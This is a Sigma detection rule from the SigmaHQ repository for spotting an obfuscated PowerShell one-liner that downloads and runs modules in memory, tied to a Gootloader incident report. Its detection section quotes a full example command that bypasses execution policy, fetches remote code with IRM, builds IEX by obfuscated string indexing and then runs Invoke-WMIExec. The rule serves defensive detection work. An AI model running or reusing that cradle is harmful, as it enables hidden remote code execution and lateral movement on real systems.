Sigma rule: Obfuscated PowerShell OneLiner Execution

Rule

Title

Obfuscated PowerShell OneLiner Execution

Status

test

Level

high

Author

@Kostastsale, TheDFIRReport

Date

2022-05-09

Modified

2025-04-16

File

rules/windows/process_creation/proc_creation_win_powershell_download_cradle_obfuscated.yml

Commit

ccbb0369507f796db0b0ae6854c8a2be471b9d84

Detects the execution of a specific OneLiner to download and execute powershell modules in memory.

Log source

product

windows

category

process_creation

Detection

selection:
    # Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
    Image|endswith: '\powershell.exe'
    CommandLine|contains|all:
        - 'http://127.0.0.1'
        - '%{(IRM $_)}'
        - 'Invoke'
condition: selection

False positives (as the rule lists them)

• Unknown

Tags

• attack.execution
• attack.defense-impairment
• attack.t1059.001
• attack.t1685

MITRE ATT&CK ids this rule names

• T1059.001
• T1685

References

• https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
• https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38

Read on 2026-11-03T00:58:21.399Z under licence sigma-drl-1.1@d5f4c36a from https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/windows/process_creation/proc_creation_win_powershell_download_cradle_obfuscated.yml